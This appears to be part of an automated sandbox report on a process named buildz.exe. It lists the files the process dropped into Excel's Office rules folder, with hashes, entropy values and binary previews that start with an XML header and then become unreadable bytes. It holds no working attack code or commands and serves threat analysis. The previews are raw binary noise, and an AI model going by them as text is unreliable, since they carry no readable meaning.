SHA-256:	136D1E41EC3868227C9B3668361333A660B2B197260DF8FC88EA339D81B2E36C
SHA-512:	8A90F05B18DDF545737F013889B3D928FB7B0B241B2BBB6571173ADC57669609E492012EF72DBB5717ABA34736A1F2C3BDA16BA7BA07A2E0E567FB03ECCB5D98
Malicious:	false
Reputation:	unknown
Preview:	<?xml...{.Q....H6.T,D........B..2.L.....R._!....ZK.F.u....a.G.#r-...fws<o.hp5...:......-#.j.9.H..n.k...}...N.3P...!..s......1.....&..K9.[.........}O...04...+U..ci.m.....mp.[.F.....2).[..z.....N..st..J../.Wf.A...U...s...-.....d{....%..H.!.... ........y..]~.R..k@'...G._..!O.,..J..2...d...^j...$.N...K-...t.$W..T"E.>.c-^.......[?..n 4..VmD'.._..)......U......{W..U..a..]Z...1...2.k....-."yZ}~...{o...e.<.j5........M-cR.u..5.P.8t...Mg@.\|\.Z..0......R.' .O.....&...y..C........'.(m..;.........08..c..z....}]5.Lv.r.....w....^Zw.....H....=]pHh..qA:S.q.4..oSM.v$>...O......w.}y..pl...f...}U.^&.\|. .X..z@\x.....Vl.&...>.>G..<.Fm;Hf...O.=.\A......(.....)..X...T..s..;..Wx.j>L>^..e.(..Z.;v.. ........W.!.1...A...Z...v.VO.q..H...h9,...e..m.h.3=.....M.d.I.\|2:.3n4.9,\R..L.A.q<.k.g.v_Zp.Z&.f..Kl)......b...a..Q#.\|8....h..,..t.......l.0.......?..]...&..=..B.N].#._...{.w..1.B....._;..8.a.q...._b...g.e3....N../..K.O..A.3."M...^..KBt$b<.;...,.....J@b......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320001v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.857026626438437
Encrypted:	false
SSDEEP:	24:N9TqFL0lJPxnuPpVcu0S1ptY5ajg8COZ04WcuIJSUbD:NuLeJPxWpeSpIQF0NcJD
MD5:	084435E4334860B2B67C2C03C67871FD
SHA1:	5706DF4C16AA675972003C330461CA1FA289DB74
SHA-256:	669B40EF2EB1D70D8303CCDA68CCE5F1E807E54E945C589D8665B99F205EFBA1
SHA-512:	91BEFA9A1869007682C8C6FFC06EA38FD1EB7303E84CF64E86E16359F2E4A6E0EC2E5D825DCE359D759202880A6FC0ECBA249F7E5028F1D86F5B3D189AF60C6F
Malicious:	false
Reputation:	unknown
Preview:	<?xml[Y.0.V0....9.+.\|.zMb ..l..{..l.u..N.G........"..{.c.-&.fF.+........i.....A.R\|.e...X..Z...SH.y..K^.J..me...i.....#3...N....1...I.P0..Wp...o6.E..._..4.......H.N.x.P.O/d....].c...O..p.j.,PbDU......Ql...i..p^..M.$rk.d.g./.q..".3\|du.,..w',(.A.&..Y ..H\|Q..Z4B...@.].............%[Cz........s.R.h'.!._.b...5.R.........@...M&.3,[c.S.N......B......U..O..\|..o.K...=M+.p......?]B.....yq5)..Nf.=.)...>....Fj.^7.l]S4.v...."BI......56.....d...s.MkUBn.H.h...jR>.b.G...b.,.qxYu.C..:..dE..R...v........#...../...).Z..mo6..@..j.....3.b...&\|]...:x.R .l.V._.l.T.k.....a._...5.U!....C:.r.L.. .cEJ%...qW.;.05........ `...\|'.]..C..6R.W.{!.0..P....(......2............ ...wbh...#....$O...."..U&.b.X...V>....j..:a.L.6~..X}$.....<.Mp.y..4\.v...7....28..i;.{.P.[<..>.....k.P.....m(Et......K.O....n.....[...~+...t.....G....q....x."..u.._+......~.).F.>; t.E...xD.$...B.....f.T..l.............,.'.z...k..[g.s.q...... ...l...`.?N.`\...b..I..C.q.a...B...'e..XR.)Jl,.%X..^if....Z...C.@.cH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320002v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.90176113596518
Encrypted:	false
SSDEEP:	48:N0fv9geNwAomOtcAn9ptAtVNJybbE+xTXWIOnWgDsbs8xjSESYD:Yv9/MthCtkbb5T/gDsbF5SE/
MD5:	07DD624AB1E3D106D74C14E7DC3CC59D
SHA1:	964443270FF2C164024792D23693B9AA0AA1036F
SHA-256:	EF356387C321BF3B48BDC8776F992FED6DD60DD37B4BB65831A6110E3D94BDAD
SHA-512:	EB3D94D412F982FDCA02428770ABDD242BC2CB66D62FFB1C1F4EFEA9A0864DC77A52056760F243F380A3643906BD254EACD0D8A9153C30F0A555A9365E482B06
Malicious:	false
Reputation:	unknown
Preview:	<?xmlU....C?....vV...N...S..9;.e.FT<..LXO..5...b1..c.D.....#.Y.T.I....UE.qM\|...@.@...g..X4....$.y. ..=..j...o.>.Fi.Kj..i..M..b...].}.ra.X....)v.......C.fS.Q2......4.e.t.2...T....p......zO.7+......l`Cu`.ko..7......7....yi...j.]y....P.N=&.>.!o.R..TY'$+G.E...k._.Xy>.{#.=;Y..4~.+..\|.v3..8.&p.=.......2.XT....~...?.w.YO.Bb....MDow..w.....p.....Qx5.~.Z.8$....V.ED.......3.x....ho......+".9cM.{.+.Hy.z.T...}..tR..H......JgX...q.......$.{.YMU......w.D..D.<....$4..&P.#[..........}I$......U ..A..y.....cd...T.g.;.....d....._O..qEv.-......I$.X.P....@"..@`X.A.i+,&..\|$.....{.v;kIQ..RV..a..0+.....N..Eb........)-..{"......6.]3..Ly.T@.`.nC%..Ue}..).....BQ..706.j.\|..><A#....0.C..HA.^.?Y.k)=....J?......g..."N. .D@M'.E.d.v[..j..u......yk...Z.Z#..9...*G.....p..V,..4...y...j1...C...Q.qO.K..P.....Li....%.....p....P......hNn...u.!.51.s....e._.....y.^]wW..T....!._L...d..E.VvE.D...F.F..8..Q.\|.:...`..t.....j.....S...6..>g...-5....i x.....AQ.o......k.5...1e.^.I..!....Sj0.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320003v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.838353177158228
Encrypted:	false
SSDEEP:	24:OP+xix5qoyy4+XspkFcNtC9RacJumvvWBHl1DgXq+uCoh6w6mshaPeADGnDwCgDX:O/xY+5skwHcF2F5gtDTw6dceEGkFXD
MD5:	9724C8666C2D9E7BA53181131C13EB81
SHA1:	F86F62212F2CD9C1BF764251FD66ECCB72EE49AC
SHA-256:	DE64893242B839E846D750A0D67B1214333CB196F0346503775402732B05DEC1
SHA-512:	C9FCCB69DFF0D5369EBA5F5833837C7F2C54CBF812BAE8A05D90EE3D2DB9E533B9C4B4BC67513537CA006AAB6AE8AA928F0C565292EB1ACDB7911B399623ED0E
Malicious:	false
Reputation:	unknown
Preview:	<?xmlY..W...5p..;....V.>G.....h...._d!..."..o\..U...p.......Hd...0'......t-[4i..\|.cO.!'.........T.j....E.../....a..l.+.......qp...O.!-]....F...9.FU...+...Z.7D/J...RVJ.4.0`@..G....;..,.%d.{M..]XojL.4..c1.8...e.lV.....a.V.k.....k.Q.k?..;......q..;.O.p.]D.x.."....^..P..D..s~t.1...4nQ....9..d.3.qh..mte.....~.3Sj3..y.7.@z...v.5hW....%.Mq?.i....S.......KZ1..1^.E5........=..>w.......a.D-1...$\|.]....7.By.9^...sDr... ......7.2.....\|`.....Q..>.+#QFA ........u`....=...Rc5....z...x.Ra....&o.a..+/W.t.z^.>a.D.C.O......!.F...2..UE.qRe..:.VAT.l...C>..'..:.jl.y....t....G.....588?../[.2H....K...k..kA.A.nE...O.J .).4....l.PM~..4..^..vd.r.. ..7.4...i.^.z....QW.P.O...!...U_H........uD.xeSZ........&.T.R..v......PX..p..j........{...?.54Z..."J.Y.f...\4........Ml....:..&...Z=......G.5.........w....G.`C._.@-..RC.d.Yyd.}.\|...I.......v...z..`..e@..:......,..."p.u.SMN..2........l.]g.%..{.;.....zd.g.Z.V.`...<..lM...n...$..X.8..+.....~..\|.o........"z.b.[..."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320004v6.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	7.901598545338915
Encrypted:	false
SSDEEP:	48:YfrTH8nnhtH/++MuLysLnDdjxnZp3d0Wth1JcWaRND:pnhtf+RT+nD7T345
MD5:	BD77AECA15C4DE979BF1AB47F978B67E
SHA1:	4599E99D6F5CFB471D636346398A80816CEADB67
SHA-256:	D36A309825F19AD69BCF9E7C1E43817752F9BC0895A20479029F04B6230C13A5
SHA-512:	ADC1FDD0BD48C22C75CBFD436111A6668A86DF497A1D8BD58481FF9B2D25CE5A0CBB886D62290C6C1C488118868E09BBE55672D2F5E112FCF09667F38995F7CD
Malicious:	false
Reputation:	unknown
Preview:	<?xmlD/]-1B../A0YP......+.M...N.X...d.:'2...{."._o..W..X.DPE...9....8 @...D.H,R."-A.Y4.^.)q.,..(..>q.XO.#....S.=...r..U....R.]..).....r...{..C3.....[N5a.A..v...p...._,K,}]f1$.n...no./..e..._#a..j5CuQ..S.^.:U.e...k......yn{..&=`2.t:.b.[...>.....-.tF.]{o~..h. D......X..G......t<.z..x....g[.K..5-.\|.b9Y%.'..../....-.5..5.A...e.^..bk..y..B..qi ....#P.&2+..j(..$....S3.j.(.<..E;....Qc. bH..............q.8..=..W6{b.....1"ED.....tJH..Y....}....P....V..L.31f.V-.`+..do..4..F.}E..UQ_....k.I...O..s......+S-...aExO/...N+...:..U...{..,..eA`.>..a0N.!..%N.f.......].....D.....RD...J.8....?.....aM...,o......SG....Q....ak..1...6H...0.9M....u+.R.....e.-Q.j...qO4.i+.[.rs.zL... .c.F...:S!.Ua.)......i.].A4...T....e..-.g0.z\|...~......._....8.'[(\|..I"4...t........P&.gGb.I....5Z.p,..1.Y...W....~\,..vC.!$A...I.....'e)..%^~..k...P.Fr)...z..G..'...>..B.....p.JR.i..4N`.. ...Ti....(.....y...<.p......Y....\....ki"`...&r(rG..../.......sz.K%`.....e.Z@_...=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320005v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1427
Entropy (8bit):	7.83294911523498
Encrypted:	false
SSDEEP:	24:/jYzsM377VPdN9WOKl/9eI9h5BI7hNpFaVSA1HtxhRsSiz+N8wmd+sqSVeRWlwOV:rYp7BlNEPl5KHaVSQtx4haN8pd+sfVec
MD5:	C36C2AE3619AB9E1810F7758E9313006
SHA1:	E0A980C5A78CE0D404367A1901DF3E7E14DD8760
SHA-256:	9C3CE422928E8098BA900B6F8D5DD8C52D1FDB9A90D16569742C81525EDFA066
SHA-512:	F92D53174B7FF9B02CEBB4CEC2A658D5B3ABEEC9BE13DD213FCED735DC30D6E4E95899FD20470E49AD12E4998241F91A756738E686A36681FE64824DF92CC311
Malicious:	false
Reputation:	unknown
Preview:	<?xml..)..8a....g..$(.?1....].JS1..'......4..Mx.......p..3J..,wq.;.8.P.-s.....z.JA..[...._.....MIE.I..).1p...e....1.......Y......s.E.Q.\.A........;...F@L.;.F....zW..Jz.).........s....5g.e.%9/5-.P.r$;..6.....8.(`0uO.+..]p..B.W.eF=.Z.);...H.;...]..+P..<+G....\./T...b.Gx<....\.Y..e-....t7.W....H1.<^...JT.Uk......S.u.q.X....r.u;mWP4.......i$..~#.....y...D..d.j.a..nI................q.e3 .V.w..NNag.\|..}.\|Y.}..k....K._`3.....0vC%....\}.....0...>..%..aUa.c}..\.....>.\|.v..............K<.V...z..tE.F2.c.....s..3..m...?.}....6.f=l...V.dB.VW.I...@9J.\|....Fv...kR...........SV1.f>..VI{z...a.H$..K...K....O..K.6..B....~.1..r...4-].7..]3X..j....;.d...p.Ug...n.q=K.K.u..1.#.......R.k...:C...o.PQ..S.7%D.`..zz....v..A#..V..n..,U#.l.7..#...4..oit.Oum.66.$...H.h.a9\...'.e.K..H~5c..5-mE?.{..Cr.e.tL.4.VU..YlB.z.XeO..IFQ..d...l..&;I...]~......\|.p....(....j&.-....a.~yYq-.v.g..z1.......{....I]..^.2bs6.3.f15#D.~HI;.T.}..g......@u).......Q%......!.....\{F.Xz....._..Eb..C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320006v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1528
Entropy (8bit):	7.8760045490224595
Encrypted:	false
SSDEEP:	24:bGIlq9rfD2DolC8cKyrF82r2JYH7rethB5KY0MTiMaBcmTxKk+XTkEp9QOJr1+UA:bvqdSsCYeNtnethBcMaDxKkRgVr0Uzfc
MD5:	8D6FEF21BCE7D0E068AAE8FFC641A822
SHA1:	6C42F5F267B6569B8458191661C5848714D6952F
SHA-256:	0B90C23F01D1FB291FBC0DB6C773BF96AFFEADE11060A512A2D948EA455FC751
SHA-512:	905875B6E8937E3681AA25F25929B8F0B98A2161D1AFB29F23A83DD1849ADE47CBE33425C6DF278559DD7740ED0F8FA25AD81A8BD28E2FA701882A975E4BD2C2
Malicious:	false
Reputation:	unknown
Preview:	<?xml_..y$F..S{.t..M'b`...0....aXn.w..>.-..d.rE.._%.r.=..3s.Z.~R-........X.....\|:.lT...@..o...o.~.^......5dJ.9.......\...~....)3Dq.:<..T.Bu...s.Y.9$.\|........./.8...[.[..\|..T.m[...:...4}H....8.....J.S...\|.......f..........].&..Xh.."_..LT.>...N'.Sr7^Z~)g)gc.n.r.m......@'.....o.W..h._......E..G3+....f...0.]..]v3.4.M.,..n..P...B.}i..../.Ax...c.... h..C...q>"..x..(U#.;....>.q.$..5...T}..4......+.9..:"@...0......3#...t:....J4...........<#..#.....m..........A.....h...0...ey...j.G.....*.qW.-U.=..OA.Z..<e...:...2E.8.X.^%..`x...}..yO..-.<..1.R3.V.6...K5g..'.M..B....&....G....7...(.t./Bhgf..KH.v42%...&.9..".D1../&...R....m....w....&.]..F...F.A&\|..[v..:i(i.Wd.P...3....D7S...4VW..l..]..V.46D....$.J...u\.LA.y..6.%..f...1.nH.,..{..4..<D..y.......&1.]C..,....2....1.....E...........F......N.,&;.>...........V.f.HF.T?Lkr.->.Yf....]..a..a..+C:[/_.'....%9......X.p..g6.w.Ptx...PL..$.....xkp...z.C=..wu~....&....v[..v....).a&y.i!`U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320007v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.832278611466458
Encrypted:	false
SSDEEP:	24:NKrdOb+CcppCC8ch4v/YXC2/k+g5YKI9cAvZVp3rW64m+SqWG3qrfg+fHeSzrHbD:ZKCv/YS2/Hg5YKqPDpkbWFr3fHtH7D
MD5:	1C229A52EDCDF3341ACEC228F2A22F8B
SHA1:	A704EABCDA59F633AF4F393662FF779EA12ECC2D
SHA-256:	1031AEDF24E84841A147950AECCD29803EF5106530DA8D9A4A60CEACFF004737
SHA-512:	B97395418C841E61CCD7455D01F2DD1D4E405BC75E84D85C45FC98511C12FE98589854E72BD158FA4C41CD8C487411D9638D5D0D0F8329A6A36375D9E2BB1079
Malicious:	false
Reputation:	unknown
Preview:	<?xml.t...~\C.JA....B.\|0<..;@........jg...3..,N...... .Ds%..J.....~9.T..6)s...t%.r.E...."{..k..4.....0.0.d.\!.:.....M..:...`;..s....M.D>..y.X.d.....p..}h..,.i..y.c{X.adZ.....*Oc..Cr...X.&.#..v\|.#H=.f.z].o........4]....<zx..}.:J._.E.G.........]af..).:2..%.a.I8g2[w53s.>.... ...tU.Z..........5t..`...g...........<&.nX(O5,..+-..p.q..W.U.#....T....n.3...Y(?}..Xq.kt.`..<..?.C.w...".;.E...O..:.#....../Xc.j..:...N......$..K..n.\....nX..)........gQ..P...GY\|.m..p..b....u....K..."i....Q2..<.r.@.......9g......<:..>W.H.E.DY.....d6j~B...0\|...#.P\|."..-.v..I..V.2...+......i..o..w.Wm.}.>5.=.c.o..... g.t....\|.R.. .a.m......&..p...e..8.Y..K...0..i#....3.Q3...E+7H.T....X..I.mj......ku7.".k+q.....CM..?H.O.y..R.,.8..T?......Xs.ge....1.j...W.b.3.4X..ezr@...y.a L4..z._\5...i..^.fE.s.Q.G..6!...x..._SS...H...]m.G.PQ..5:c...>..B..i4.-i....j...C..3D.4.,..>`..s...S}.-...q....._P%......w..U.E.k...Z....O.HA./...... DSW.....D......&e.S;....\c.!.F:f!Y2....m.>Y..B1.)..u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320009v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.751635748528946
Encrypted:	false
SSDEEP:	24:ye9SwtJeP0soOgCwqkXiMSOQsKmoSsr7OTbD:/tpso8wEMhQRmoNKD
MD5:	60169D52E58CFC71E4E6311B6AF6E5F4
SHA1:	65BD5CA437B1CC93B5A48C370C40CC6E1EF2E29D
SHA-256:	DBE8AFC78B7E2415205A7FB96B4A1AE9C7237A1D4B74BDF9EE1A0F89DF536FBC
SHA-512:	5E22AB8D13CBDC74E169928381DDFE4EA8BB73650A8F9548F034E27D65C63F479D7E517693BCC33E0B182F8C62489C64D0C0C56D497E7C5529591E02E494243F
Malicious:	false
Reputation:	unknown
Preview:	<?xmlDn..>.=..ST..v+P..v.E'M..5....Y.....au.!Y..}..C4VV}.....F.......q<..%m...b.....J.e..L....JJ.[.Xi..f\|w}~..k..[.(.....bf!.....M.k..=...Y.l....d..R.yZA...-1..2.\|.>.L\.........)z.)j....x..bw.t....L..U.u..[...5T,.<~..g+G..9h.4<&......V.....x.Io[A....9..e.4...Q..&..ny..@6...aWN^8.y.U...^.:;.})..^..t....I.X..NJ.2.....v....<.k>..y..-....x..A..X...G...hr........J....U;...,.V. ...@.2...g..d..$m-....A8=.".b...yl....>W.3\|7.Q.D.....=....Ku./.\|...T.....;..Is9./.....g...P..".....C..\|x-.{.+S.>)..O..oz.........HAi.ZSiFPjs.3....T.q....%.R.$.....u.6a.k.......p.h..;..`KmK.y.;..p./ai.A....n.1....[.H.9...J..V...%.X...,....^.v..R.S.....B+.\|..P_.a}Y_o?..Bf..H^*...l...C..S..1;...jO..A.......jk.7.}.E.T.`y.....x...'.+.....[.@[..,.Q.]y{..S.....V3./..6Ch.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320016v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	901
Entropy (8bit):	7.738597776455904
Encrypted:	false
SSDEEP:	24:YHliG9fJmCdnY/kaDJfKyzyo2VNqPlfBKv3HAbD:YYGRJ/dY/NdKysNqNZK/6D
MD5:	5DEDC471927A1F9209A9AD63C3B5BB4F
SHA1:	0AC6155DC63528B9421846CC886F778E351FDC2B
SHA-256:	9DAD077C3688E5CE17921BEAD5ED0D49FCC8ADC87BE308BADE3874A5F1675E60
SHA-512:	D5EB1F5064F5317946184C67CB124CEF58AC1E9AB9CF92163EA926D256AD23B4A184684A02FC8A3D3FDDADA8F8A77A0AE2EDC2CF991B517132D94EA37445BA8B
Malicious:	false
Reputation:	unknown
Preview:	<?xml7J....v...IF.\|...A....+.W.HoK...).X...o+2..&B.Ul)9.....4...4......}.....[Z..P...\|3.u..+O......+..gLR.@..c.aG.O8..,i...J.R....+/..?..{..p8R5...vp..7..P....T. .qN.._....`.gA..JR>V.`.S.....dg!..;...i...fk...o.z.Sc..ad.sKr.......U..^Is...Xj..0.P{e.x,t....6..D...p4q.].m..s/....}T....9Q......l......l.<q....v.o...k..U.p..ot.2..9....w.*. 9>.S.d.....Zq.....\|.X....[.W.#.....<..>~..Z.s.D......H..@F..L.V....'.>.....v...^.........y..W..BK...e...:.C ..a.1..$..X..`.mI..E...j.;.^.H'....4\..7..>...0to_2%..'.E....B..^.C.I,/.P!8.R...NJ.....n[...cB..4C..e.....sO...%._\|M...m.\...g...{...a.X..w.!..l.HF.Dsl..s_@?(.HS.....}.o.[9....e.~.>b..!Y.O...#N.A..kE..^u....=xR....\|<.)..S.L..}.^..!..}vT0...?........pn.z".S.E...s.X.....gI[c.CpK....(G....-e..=q..b.i.....On>.Q.G.#..!.R=...J....R...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320021v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.750504963110303
Encrypted:	false
SSDEEP:	24:9AvA1rq1yHwUFf+8UXOH/4Yr12rv6XEJUSk1bD:xX2Nu/52rvXGSklD
MD5:	7664CD27065B3F4CE7730FA7BE76B1E5
SHA1:	E01D80E603879FB80780653A1ECFAD4A88C4CFAD
SHA-256:	67CBEB17A7AB42817DD90E6E25C7CC4A33D7A3C1E77BE8EC214B3A39EF3A6289
SHA-512:	82D51DC727E64B641BEA8AF6F49144043B99AA2D5CE882C4BC9BF067FD642970808DB740696FF3BB1030D1767D93962BDAC48680CC2EA95CA1550650666676AA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.4....v....=%\k.r.~%..U......#.1gN;./.....D...%.^.....US_..s..c.uCR.....7.ei...G.U.$T.jDx..o..WA.......p............N(..d.;...BIHt>..}.8.:VK.../.....g..R/.._.Eh.]W.....a..F....q.MU(.a.....Z....9..S...../.Zh.C.Nz!.+..:..:......t..R.....v..&..w.:...U.....o.=.<.).0...!t..\......d.......q.......(........D...] :...\:.1.....$U...........!...+&=..Z;^C7H.. c...}I..Z..I..V_....L...$..S..O.==...^.........j.y..T.7..J..:...P.X.UcM..............R..C..G`.I..../....4r....n.Z.l.r._.PJ.d....%.+.g.s..EP...v.zPYJN..d.~.Z...WS.aG......FD.]......%....s..HU.9hX..W........7..[.!C..(.}...5.xj..O~u....s.t..h.z..?#.^..K.n......%0.J..1<...3.lj.....#..h.....QT....L...NX.....1.._......(.@..nij...6....m..0G..z...4.c...{w..a.X/..y..t..~g.8.....j..&a;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320022v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.760689756869578
Encrypted:	false
SSDEEP:	12:tapaxRmM07gq6EubwYYS8g0JZXorVmIqBQ+SEPcaTOxMVv46nV1+cii9a:4pgIWDbwYYS8g0JZImjjtP4MVv46ObD
MD5:	E515881C7258CE06206A1A892263F3EB
SHA1:	45471FD7E1A8F74B0B4C9529C909E3E6C7A8AF11
SHA-256:	6CF9CC1D4D1B758B062B26EDFBBEBF8B63B3C1C1674BD5C4F0F568556A904E97
SHA-512:	9E64C14300CB5044976CAC1BA083B2136455D68744AA07972755A4DCACCD24B5F05588B707A66BBC247E64939FB6E0756E20DA0D7EBC8B6190C625A1FBE0B6DE
Malicious:	false
Reputation:	unknown
Preview:	<?xmlC.......k.......h..m.S/[......qLm...X.s..a..l..(...M3..D...N....<T........)..~...s+..~..-o...1B..q...."....%O.F.x~.0.5nlV.V.ZE$,......0.X.f]"zB....)...........W;{..i....D........v...........5....u.^.;..74%+....+.....Z...A..y.Hi.H2..NR.7".F.z... .WT.(....z...T#.L...H.w..o..)1Pb..B.....3.>...Z......k./Q6..J.......S.7.'-6&.b...a....(4.`.xk.>+z[?...7j..xT}..9...2.....O.7..^.o.[.F.Yf...S....?p..@..D_.xo....=.gH.d.f~....o?.sw.'..qQ........\|U#.e. qmYl.L..H..[sT.n..D..%.....Y....RK.o.1...8..t..E!eS+.<....LN.Vc..t.:-)8N.?C.iG..]..~h#......?..TV.B+.`.?$..j.lg}k%$p..)r......{~.. n...,0.p.&..Q.......L\.G.....$.a.[\|.aH^N..>.R........$9..J....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.830054586078984
Encrypted:	false
SSDEEP:	24:jLZi/QN1eW5wXefhOuevBJmW2ULoih7dbXqrbD:N1emwXKMvBoW2ULhtXMD
MD5:	6DDA967802BB49E815DF5910130954EF
SHA1:	A9E95296B7657C88CC2C77859EB7CC98398656FD
SHA-256:	10C2835D78A8FAE8E2ABDB3CE55A8AAE65CF1EE380CDD2AF1F08FE7D65385714
SHA-512:	BCDDB9CB9B299FFFE4ADD609F4DEFE2923CC01982EA9873DE3DAE565BD57CFE5DBB7B2D5173AA80F995A8A0756C18756C0731EE2C8D4A6E636CB1A8F1565DFB1
Malicious:	false
Reputation:	unknown
Preview:	<?xml..z;k.U>....5Sv/$..._.+..'........^..7W.fQ..0f...........q}4'..T.B....].{..\...e.o...dr#t...."a.3.(.C..h}...K..(N...?..aK.e8..!{.V...!..).`.P.2..`.V'.q.Z.=..{..!.1+tf...S...{..,.....'J....b<......8.XT`....\|X.@h."V.M'...NH8.Z.[#.>..l..q}.c]..H...g.. .......uS.s.vJ..\\|qK.1....G..4...{.TB......D:.n..^W. ..n.%..2u.:.0............\... .x=..._.}.....o..W.j..c.'.......K...5;.F...m.L{z.E....k(N...t..WS......I?..>...%..t.N3.8}YS....F..K..'...(...(.F..NO.....?..e.5w}..@.-V.k&..\|..J..;cD.....A.[...J..%`?...w..`..e............>.=Q.p.\|.)...s..x..@~"...h.._..Z.!]gTW._...esw.......-..G....ro>.C9.5...^.M.9.......v.qo(..../x2..h..D..l;.~.m.cp....N.0.ej.+....-.1....H! ......S!!......k....H...!j}.lz.EHY.g.?Yh.&s...z.f....:4...?.y.._.(...[....)".v/Z....._.._..F.`f.d....]r ?U.....P.hz..P..)......_....!u(..6...[B$........L.}.}...+..Y.fT..h.1...F..u.h2U......P..m...%`..V..F...o.%B.6}..iO.{R...>/.+.:...jX....>.w..>1.....).....4...`r.?JCa.....%../r.p;T`.M....`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.787075647236892
Encrypted:	false
SSDEEP:	24:iUbvxhziFWLbygLlRYArmkuvJ125MIW6Ex7OzAVbD:iohemyOllCkWc5M5l7mCD
MD5:	97CC9EF7A47A463B1BAA1F3B7953349E
SHA1:	33C07CCDB430299F917F226B6B3BD7D4C479E51A
SHA-256:	C384002CA2A7307F8003830F955C4676C0B020FF0A43185193E8B6C1905784CF
SHA-512:	A19A2EBA9D7263906E349BF54C84CB77482C37ED340DD1E72C4C8510C480E9204442C25870800DF03D5707184DC9C11BECFEC762F3C39AE129B82476B2D8DE92
Malicious:	false
Reputation:	unknown
Preview:	<?xml\|.zz..H...Gc.....F..XyH...j..X..}..x.P.h.0L].]...\..XKk..lJ,..K........nn^.......G..Iqi.Ec..R.-.....lJ...E...S..&<......B.m.c.3.Dp.....&g{J..a..F...Ujnb..D.;!..L.X.T\|..~....B\| /....p....,p..l..X.WT..kjNT."Cjf..FO..:...{}..,..:.}O.z.D.)...i.t......+...%......H.=..........O...`g_....F..!.x.2ds.y.2.l.N...`.$.X..\....3.J....&..c9.*...&...\.4......6.....{..X.E..c._e.....R&zq..m..Aa\|s.D%V[..!i0.L.s.jP%g.\......h>2 .D.K\|7z.t...Z;.'W....&..}.&.UC.1..l3.j.$.S.....$....>W......,t.".n1......+...(......V2.2....:<N.3f.z.c...u.......,.$.O....m..K..=..p...1.....wh..H... qB.....E.J.+.`g.R.../.....3.p^fCA......\|].....\..^..a...q.P'..tI@........)@O..S....o2.....W.c...R.m)..C1.........>....s..b.}\V!.K.../v..3FQ..@....{...^..d...hH%..l..7..$'....v...s.Z.......H6@.....pM..5....S.....0.Z-.<..+{.....{......;......"...Dv.c...=.t.c...D..........p..X4S..2Hrj'.fe..}....!4A.....l.7...$..1d.B..{0.A....i.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.816918032704122
Encrypted:	false
SSDEEP:	24:+IfqMOCpyoCfHxPwR+ZPUJmHFZefRVWHRem9ia5YF2bD:+IpOCpyPPxPwgSmHORwxeIIFkD
MD5:	8160CA48F1459B591845E6649F896EF0
SHA1:	584AB6BF7B3B4F00C5BECFADAF8666AB64BDBAEA
SHA-256:	D3BE51117CAFC11B549D73AA3391478B63478CB2FB14722B0D758568EC611496
SHA-512:	ED51CA32726FEE73B318041E99BAAEBDFB0BEEC62B15030481917B3F199DD36D9AABE466557076FA6022A6DEA0DA870B0E4B13BA899FAA0D5B33FAD315E21A1D
Malicious:	false
Reputation:	unknown
